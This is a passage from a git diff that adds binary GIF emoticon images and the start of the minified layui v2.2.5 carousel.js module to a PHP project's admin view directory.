z@hpRoN@V(L32LoO_EA`)r#lLwD{wW#glHKoI+LMR+v{?m^@c?3w=_mX>yvV{7$XtW z<5@ZdM!^(B9XNIPTMzjwkie{9IQT2wf~2I?c4j$ zJ^%Q=a`&#k@7z)G-M8Dzw{6{0wz+iEHyi)9Vg0(bYgVsXxuRtG*TuG?LaU`9|F3@m zdAa5slQBEXpx1q+#Wm{8jC7SUEfqr*awKKhmtQ0=U9x!5!Ugk_<|WQeh>w%anLR6Z z<_xJsEQ*Paii{A3hY4VQXb6wXVY8SFIxYCmf0{mR>K{L!5=0GzJ`0%aKWXBG@qZXM z_R~-N#`yYpkM{EPpp0^NBfGjd6ZcGDzbhFf0aCF2Dzg6#NbZCAz+&-(eB6D;7yCed z)-_i5V1HjfU;aj4|6upE)+ysWJd8ns+`u4X#keWuz&Y2PYcx^vMw^WLbDj5@U7TFq z$Yb+9CA+ygxtRBn4p-M4s;?sLbI$S1@%A$1P4M!*mUE=M;rNMDO)Y0z%iF3tYU>VP zF2CA&S<2XeI3?}vRmUqawEBt z$b>ax^MULO0Gu)4CkYb(^Wq|(cu??vkfN^uF!+Gk5ndi(#-bvs_J5INhvtNQki!!J z;F6L6NP;kl#IiWf=CagnINFuSz|Dc4oDV#6gj@ieT%k0OYhDtb6m7`~izr^64G(A7 z@e~Imkl0Qu5Ly!atx-!sm{+)U=3D`Yoot<~v&=7q14d>|%?I9Ipolx8C>1UOzEeOV zIgkP2W8!F249JTiP4I%tjLsk`2+e>eftmR7Ii42p)nJ*W zaJZV6!)tdUrD^$I-arMM3CVdbW&ry}`|H8PNJ?ZTdHL*>CL<8$lEBWL&cjj}?bs$a ig6vPE;(vp8vN=19VTuwMWT7@8^o literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/images/face/7.gif b/application/view/Admin/layui/images/face/7.gif new file mode 100644 index 0000000000000000000000000000000000000000..e6d4db80572a8321fa233d7efd82636fd896bf49 GIT binary patch literal 3398 zcmd^>X;@Qd7RPTELI_!bkd;Wn76gSL8VCjmtHxL~xKN`N+n}hegVj>h8D8>cxj_Xi zSjVMQtw_~*7^&k@lqw)n5L%Qf;?}a%$_S(4Sc^ztZUR`_vClK#=R=++pYA>9{D0^C zZu0D;h{zS5h$r$BKyDljeeg~Gzpv>>pPpV9$sVltd~rxR`uyh5zR4p4e|vFC+O#|H zv~`i~-j?S%p|-YZRTls5(~6<90^7Bykw*t_{yoLk9^2PA*Vd`G-JE0VS^KObdni9- zrJysV)|MRV zaBJYG?OEYU%}|A8=;|Avr3>mxX52f;8N5DkxF+IZrSRUFsV^@0bbS{2%grTUf2o$GyCOZ|TCDz;sYyO{G90Ih5#fO`;Ud>i6G9Sc>o%d*M-cshOA3A78FdM{l3e3 z=iv1o5zA&zFEoa5a1lOUE(8}Z0nH~Xq%>s4f(3602*DW{)Gyc(>Ix$sVT<^*41ecb ze}Y$%isPfk8w2pXi+Yb!A2;jyVLW~SpYku+tU=qPli8pW=;!x4wjSv$pR&(F+B z_YEXRt-{9|pf4I)HIeQ!AzOyucb@(bM=` z(PEI~p50sx_;3Nc9 z5xKbS5K0$YDtkL?YQ-f1a9u?2idnO)BD(NSXl0^lvMR{K`%0sstSMecA>VpCmWdB^ z@(>jtRYRiLFa{*W4kQjCV$D&p_HwZHqNP}SnKaZqq4a2a~w^|4;5dy4mPab+0 z@VU$0XQ*Ye@MVyO=Y)qZjsZ(tUFW#U_<&P=UIrJ=CC(>K`nsukk{Tw!D5MIx2HKYc zBoPM^@!4k+E#||T@_s1pJ1iuZQyxDx{C3t%$E@qIVmLUg7y%7+kPk8Nv2wxU0{nWd0|dEHQp6|+bed(ZJD^M+%YPXeg< z6m|}mqJlK4fJ}`HEkT=%@he;Igy!|N?h2UV^j_`sm712_GyXK<@;ive8awt1M6WUg zUttK?8A2_YhYx{qhAP?cw+z`4I>+BPh7d+j(>cJu#l0HCdkIiacX&I7&!dHl0sG-& zcVOoSC*Xn9XHL@Yp4v%)%FVsZx5?Y+bfE|TY}bM0V=;8$(mRb;uk6Bmr5gIVty( z*3rs1?|2L_`#PWd<0PV`j&%l^G`RF|{_l-Q8s7*$=lf0> zkGpU#m=7kwKH|ekY95k6Bt{`{aA0Vi1JVHSj2pOC0oIHR4z%rp`lwn0V+d)tfSZtNXQOIQR zHj`(XLTM6{ghJBRI5GJ!nW9xHNg7j1%Arc&2DBuK6Ds+~ISQ&PHt8;SYBft&kjUgWbx@~;SRvvy;0@rWbt?pvmb>Pe*9vuRaX&t0 zpsy_?GY`Z8li6Yl&o-@Aps9d^x|`BSg`mhHHY??HI$5!LwOF}-zmP;(A^coUP7^CC z=zxBl0!sHE*NI6dPYcOaCZ$lR)#3Xyby_@m+qPkM0*+oFwZGrfJm%=S6h3H2pyl(Iu2|m8IIiYIUBrX7AZE zQl{fthK+q4Onm%wVLeU=8N4)dA=~m>BSSoI--MB&!^qnlLWT|@e>5)S^S=`^_|?dr z_VW*ZRdP3`WZ-bJC78J}iSdy%zMZRZM<^b?EMkV;0463JGl1C78#6$y%Gq5-Z~1Y> zlg?IxSn*`{`mBpJyApMu4sSXUhl2uoM90$bmD{~p^3kWU-ihR^iLgxn=0E@wiTV!_ Ch@v0> literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/images/face/70.gif b/application/view/Admin/layui/images/face/70.gif new file mode 100644 index 0000000000000000000000000000000000000000..416c5c14a19fbdaf8fb8d6baf5cf7e31e54f751a GIT binary patch literal 4590 zcmd5-X;c$gx6M?UNJ0o^af}oNFh>Et20R$pWXrm%( z8&nW+LYz>$WmIVtWe`-~=1@jPK0~Qn^Kr$L6Ab<)FcA5kt5XX7EVSmG&7)&_^(}c&@;&9+n zFxYDYY8+1CaLq(~oqlDTF~~xeqEO(p2e=yzmLR|p3s5-K5_&m>)rj0@Oc+i=KMu$A zGmX1#sJ$@hq9gu3m-^n%v<{E$bEBTc<6ETCfnfYiTk`t^^us{tQ4rKbCp4K7-pztO ziRoAH(0Nzf0EhCzgW6|_1N-eB2x))$P;Yzd8*u5dAUt3Y9j^Ou-_ba*OqwA zhB7o2YBMLk;8N~#Xiqq_x8vxKxWrQixZ5Jq08ILrh;GG07x36l8s)h!`IFeV2akCp zMT71La3lKYv}r(xsUQ-M<8ZI1LoJ5*OTL&U26S17ZF7Jwc;jx2!<@~_J4wfa8(xQv zp?+_u(E)eP5Z`8wyXK4q7xm3R6(J#DBN?3a1E(BY#zLUk2ebx&rWml^2wZao4fddo z2ey$nySagzv7ke;pM(XCLeOFa@{K^N_^b~KtVM$JuAtinTuK5xsUV94dc(kV7_``d zLkLikC0H5nLY& zx`M&)2H@OSa6S~I;Oo5+po4NCIvTudK8VAeF~hx#g$8G!cVV%8UJ!V)Z99?J?tC?Q-J*)huek0fb|IdWd{r< z1x80n#NmNlcQzXNWho{s91f7GrTTv#zf6@>HczgG6XbJJ6uyk7r|KARN}?}gnr9e0 zOeK*grvxuamq#s`6fIjaPbNrY_>F^oGKHC`s#LjJ3TLLyS7Zn?eHqe3WrAF&zaLp< zG2qW3>Uq8l@yH8!q^3lfE{8qcJ()5#hX;EL+&P{c9-rd|bJ-jZ7Tbfx@nCYeLbgE2 z@r3`r82W1IiAlo9fS|u?>7RTV$!fJq$YL#8w8(vthr2R;4vQlY2v}?`i_2x|BbXVB z6>4cFQ;}i+b%y|XhAcfrrA|>Q;E^4r3Caa(UxvQZFGomKg@t|FSdroW`9SV6WhyIE zs$y~6*{symk#l{H&QM3n|GSOvMrTAXR>@hB@(ksIbeUWqZvQn|kKKPRG!m%qMmRY= zMgLKx^8=K!1*vj{IwZiCp?~9^n35>u$)$X0B8SWL_7r$Cle~EXW&(#RWhN$iBzbws zJb5w?_Sb#Bm(TZ-@B{%8cAy83%i#p__*{uzIK4TZL4gvUSAgVeZipg7Emg?mUu&o6 zYk$f05BiU}LP@$@s#c~)E0y!VvLHNJsa9qrD^;*W0y|AhQ6wrCWjK#~p)Usxkf*0C zlqUwID^uam5DQbjSKd1z$%7;CV#@eQ2~0r(Ps-%Wy}g)h4oBcAkn$4vGCt$){KWq) zbS!;StP!643va$I>B%^9`)vyJ58viUuFwxpx_(NKVEEI=5AWZ-ee?R&(90LkpFMr@ z*W*VI9}M2VH*oh(|Lt3Sf8M-tz4zMHD?QzpyE;4CFI{ZAaK81AmUCy%G&eOi)YqN< z{kKymPt+bicJ#>MnnTqG5A5H!w`x!2?uznVJ9m`nw*R_q>z2~ZC7U*GDE?*rx}vpf zR*u9EEm@qoXyF2NMtYh`sYsnaZ*EHRoFsXoEI}GSd)Caj z8Pj89rcIp^9Tgc7K6z4D=)?&j!Q+Dh10?=pk>5C9pRqy#-`mTR=fUN$S?)|XR~Kie zF^&$S?HP8kt&O$SC`$`-GgA|~G0li-NFkF9hy*+i3t`YGz1G;h!w`rFfN&d;q7g?% z-~j>R`ZR3a_;)TEzV&~A+v^3aab%%aqo8Vb&zZH3s;pEuXOm{3%x zMjSk7#*4utm2rm4g;%>rQR@*L4A#Hp)bWF1MjXia7QaAYa~koKiqYOzbddt)){cf- z>J5<#XoKZw1Uy@iMQ;2J7Ud!vAlHgGPS?e)zCXVY{)?ZMUtr*DfPcLg1rb(SI+j+# z;T6zEPW~GHgE3?CHo7^*YgXh`w68T!scesJT>iE`YvuY|&$&+LOh<7iEcJZ1bNnRT zxE|=WJu0BRG)SqyEZ*U?&e}WUWKjq>xP5~}9<`=kjJFSZCY>qz5t5D{ z%d5*=kSI$VI(1BAww6X9X1)@c;Z|8dLnmJ$Y54_qv4T>Qna{KUA_((GXJCJe^ntsPv2ga{NDL6N9TTw;bv zX2Z4dXNp~uLN_oxrH$p*V=g{Z*~yU&SyObdG@>cM*aXvhq@H`W-Du3GS-acULlB7_ z(N2GFWKT8`PAtLLUR6fWd}d(>t|mx=R0wQvcS=bWt13ee!EcMZ0!h9}b7^Z6*8-752jb7~~=hcFJ^pM1L!-8t7&9o#0*vUUiq#}?rXP5Af zIx{NbQC1sm7PQi<6q>m0UTvaX`4dq&q>of;wq^9BH?VbbEL6jTyI)G$R&h^lw{v*5pKAePhX(aOskz|C)O4Zq<8L=0QCU+|G1aK$ ze4Jw>Jrf~0ILn3?xle=aESO>VP#bOT>VGiUf=ll@%9TQ&v6Pc73rcbGQsJ}-R!4mf z!_*8XorLRfRj1%rt8Z&U>_wVdb^=XXMer@Rgc}?6)Z}4`{*{_H5&xj3`_0K)lHkZD z2c#IAh1bp%iF0x%P)3I*Q}01YOA_8ahBHuT5mg=>R-#Hdx5C3GE;v?HJ=?@7IOa0D zBLK?gGOJf{)XgDvz0OAx#Yl80otKx@94yJZNOL@gdp)BVvv!kMaO|p}D5C$ot#3N& z)gSKFwnlJH4{u3^eT#A6ipRB^yYfgMmVJsz!^1=;xY_!rxApn79poOZTY3b(IAWHzOW2?VklZ_-m_OBJ=Go#*|0nktp80nw$Z< z4yj`!$|Ppp)eZNr?)#Nypsn(yN;+T6oiV4!5+{sLwuOcu+O5x?@giQ;#@|&9SiXqI0DcL#81Ifl=(Nw1{)OmBs_^m@LxA{*rrL*e; z#8HFeSMj0;-K5;5@pXYA&oV8FWh==R4yQlzI_$@UZ-0pTV1#5Ohwb$C&hd#TZdtQM zFtbGmu3T!h6a5p&=pO^g_^g=IJ1IQ9V%p+Jd*iw{2Y2)#Nk!vsEU8}C@3+jzW~tV6 ze~CBV%J}_D%{*;e>JdhBTnn+pO?EcN`g-+CT^)J!!m{bT`y~;%!~Q%;#V(hckjZ7k zmPm%xv?;NKB@;|Uxp^bBtajLg^S3SzN}Fo}BXUmu!-0x#BL2@DNb&CuH2RwZ`Fyh= zy#t;4o&!Dk)V0>+J9ED9$8*jY+8th2ha5Kd;tj5qY(;<8%!Y2)nQ3~>#7RdqGcLsV z#4`;}VUf^Z)$~GFhc@4ueG*%^v7nSLxX_wW*y~Iir7;~c+aal$bI`_TUPZCa57`ju2UTN|3Bwr{|lP7$n literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/images/face/71.gif b/application/view/Admin/layui/images/face/71.gif new file mode 100644 index 0000000000000000000000000000000000000000..c17d60cbd15e80d83629b2220b562a224eec5554 GIT binary patch literal 5304 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 literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/images/face/8.gif b/application/view/Admin/layui/images/face/8.gif new file mode 100644 index 0000000000000000000000000000000000000000..66f967b48da173b68cbfc92986e4426ea35ade74 GIT binary patch literal 4050 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 JEmCgizW{zshWG#g literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/images/face/9.gif b/application/view/Admin/layui/images/face/9.gif new file mode 100644 index 0000000000000000000000000000000000000000..60447400d31b035f56554b29af1aefc76bda1698 GIT binary patch literal 4221 zcmd6pc~nz(7RO%#Aqj+pKny_wgn$|#WMPT22@;kdARuUUTxv*yAWKq+f`s_+0bx_Y z1$DHTP!z38ThUfpx3E;Ps70`-XhlF<+yMchWto@Y(&^OsXU>_^oSc*Qe)-+|yUXW( z-wO>3ndc=W17zSA5SZ*gGBtK{q9D24S@gEtF&zetk zt(v&$Gx=ouL`Q(c1^D$_?8M#JTBXs%?a)hmooY6^O>{;i^DrZA3m^9Ow%2eui9fT99VX* zv1stRpuMT~VJ)Ta8%kXX^M}1ALqo52uCWY1wXA1r$=#Eic<{iMn7tJU~{Cgzzb}Od2M)|BQ?eRCn@oV&nM>!Mi?o)$xQ~Hnnl*yvtxLE#z z=wLS%#{dBU0KBv;GMW}7lndcsU;iwbP?Ri@)8Zv-lhXX?FV9}2(~`t~^p89vIgv8H zBr!>loi2&ZUKA(FP8NBI>HhO+zFFQ`sj^gwTu94GO-ak}&hn!R#nO0*H+-#IX47f< zE%IbP`U2e_G~JneX}W~w$#QoUakyL>kH_MAc=C8$Ce4k*bz^hjFVB_h;qA%ucAHCk z^P$71rHd217YBvBISan?qbJJcGH*6JGc%Kw>CTd-uVr(+yu5Ti+}vE@9j+N0)8xV| z*R%|Ww;qBd8KU$gnLJ6FM$>r|#!J`B{pfI{(luOg&q|%hP zRg6xQ%B2~JQW=dO%cC(Og`%W1-GY zdj@-P_*`xC#l1K56fy569yEL4R*-#UGBv!+a;JE-Q_!Q;hT5pOVVK8 z(_yd?Q@H@7G@*J?!o2e$aLQ=X-ZM@7%uC@zc%r zwi~TKUcYv=<%cWHmoI(a)Ywq3y?EjLxwGGWTX*K0uTP(*MV;Z!XW%!`+R`VY6JBF3wJjIkRUuI?(NDcD6QD>zP&*OY#hog*nlTfH%dN z7-KPLBb1>55|#)1F+-FX00Abf6tIMo0RTOf3qpBT^NA)!#Q9cvTemVz6aW^1zykP1 zCR?^aLx&aL{c zQnZzPyto5sEWx8V&+cSA$mJJNSiThEHdU@sym3)VH)1n@a1A0S4m{A>&IEB=9yDsg z)cZpyTg)~*uQ4Dfa82j5g#?sa@V0a1T93wJ3-(OX4B8MHg*4oS`F3ztQJaJF?i{Dj z3|&xFGe~_g<>Es1nYCM-9|D6N!RB8ZI*(&(*W?~>^KCmf94o@$+{3dpH>%NvW((Yh zc2P95g7NIUv!?}B5-otrMtxq+1tPXkSKyMDov;tZadN~di5`f;eO%9Vz~++)Cdu5e zc+7f_&8oXDthy#aH~sZCQln4m-t8if3PfDi5lnnf=$ue%=e>Ia?&lZZ>1sbFC1Lap zGS)Q+2_OM8zyfYiaV`ilL-1$}1Yi^j^fHJEI4D3R7Ti$5rn|RH;a6F?-{%FiesEAcJUaH<@8c7bQ-DEFcz2mb6Y%Hg%;D%t;pp^;KrE_? z917|90HY9K2#5!Riy)W{01HjS0ZntU8yj^3j#W{MSH07=8c?W1p^Go}j6y2|`FPviZE>gnPu{5w={ zV2+u-c5d%G`**Az_Fe6Wdh$-@+S%LNG0+$g1TYLJznBTIq8TuGSVlC<0bQ)tRDD)` z@KDX+BQ>@R4IWvIHU;s@;t-trbTMF?qsEzAI_Eo^o8v62a!d&%9)&_BkqD+2)P^}N zd3mNCIfj~SW5b1ZF?Mzj42`p^va=V)yh<^C{z5a$z#uzfQqVtA0eEVHu=I#>1~njG zP@G)cNpge&?MqZ?qcUPeV3~m-KxOt0I0PT{w+=ud-xK;Lfy*yY6&4jkMExKE%IQfW zs`U9`lvo5-$@uiZzI<5B;0&t~2slBVniVK4amaGzsY4ZYmdFBIJ-|B-MP4N{%?Skr zJ;M0y7(K$4w~p!cOtwe%#O67>FVB?XVuPX}Cy`?#LQN~pssxEyae8LG2GxLM;QO7L zE-z4*hBzkfl0E2gBv@dHwElnwlrbY}aUE?lQoX%kh(Xg9M&%h1((fM+3)p-h&|s*U zy8Kk1KpiOBjd6~xk2owq1L z=gOb*^0E8pCjZ>uJvh>;vT_=t0hv25myt>)Q;w{OheQ^$d5#BC7ni&*;dsWk~SuiJvYGm55 z-fTNWFslwox$RW)eJP1}QrNIvbcrtrEEyjSZQfr#D{OUN+!wL5{|yAypEyuWV^Djj z;*6#09R*il3RM3N!S@C9w-Eed^O&uA!@wAFXoNz##4yIB)UPwlBO^^T%}a{P^5&au z73^hn15IJJxHtW$`Rn^{hg7}mfBc0Mxc^m%?6|a)D;d?$r%vGy;yzy^xuMQB!f_l$ zxvf=R)y}Tr$%yf#rpg zdGo^TYHAjSElGsd_=bl&$HYWL#5nu-aO1#rtW8?JAR;AmwKiiR$PLtL6O#F>E^i86 z2^ooQYFD)di2P^gk=@r`-?WtDKHEQ!^OD0)_%*2?d^vM$1)o1Q`SML!^S>ES9tA%s*(!owaqt)b)BA{Gt}=~By>dN@M!UX3x#IhAoyy-R#DLZX+WCMX zrKg={P-(%Wa47aSu9&)6&1A+kh_39Qg+3E}l@a*;HXGkj3cb9kK)q*e95tr9p{2!Z zA?|S){o$i<_e_=i&MF4ee5cEv6d-;>i2V_`zFe2He9ZwJb&L;ajX+X?0G_FEI^&(LoVGi%nb-nwnYz egG|b}AGc{V9!DB*78Zf~IRkm8lG@>-`uq!%!U*{Q literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/lay/modules/carousel.js b/application/view/Admin/layui/lay/modules/carousel.js new file mode 100644 index 0000000..4762608 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/carousel.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("jquery",function(e){"use strict";var i=layui.$,n=(layui.hint(),layui.device(),{config:{},set:function(e){var n=this;return n.config=i.extend({},n.config,e),n},on:function(e,i){return layui.onevent.call(this,t,e,i)}}),t="carousel",a="layui-this",l=">*[carousel-item]>*",o="layui-carousel-left",r="layui-carousel-right",d="layui-carousel-prev",s="layui-carousel-next",u="layui-carousel-arrow",c="layui-carousel-ind",m=function(e){var t=this;t.config=i.extend({},t.config,n.config,e),t.render()};m.prototype.config={width:"600px",height:"280px",full:!1,arrow:"hover",indicator:"inside",autoplay:!0,interval:3e3,anim:"",trigger:"click",index:0},m.prototype.render=function(){var e=this,n=e.config;n.elem=i(n.elem),n.elem[0]&&(e.elemItem=n.elem.find(l),n.index<0&&(n.index=0),n.index>=e.elemItem.length&&(n.index=e.elemItem.length-1),n.interval<800&&(n.interval=800),n.full?n.elem.css({position:"fixed",width:"100%",height:"100%",zIndex:9999}):n.elem.css({width:n.width,height:n.height}),n.elem.attr("lay-anim",n.anim),e.elemItem.eq(n.index).addClass(a),e.elemItem.length<=1||(e.indicator(),e.arrow(),e.autoplay(),e.events()))},m.prototype.reload=function(e){var n=this;clearInterval(n.timer),n.config=i.extend({},n.config,e),n.render()},m.prototype.prevIndex=function(){var e=this,i=e.config,n=i.index-1;return n<0&&(n=e.elemItem.length-1),n},m.prototype.nextIndex=function(){var e=this,i=e.config,n=i.index+1;return n>=e.elemItem.length&&(n=0),n},m.prototype.addIndex=function(e){var 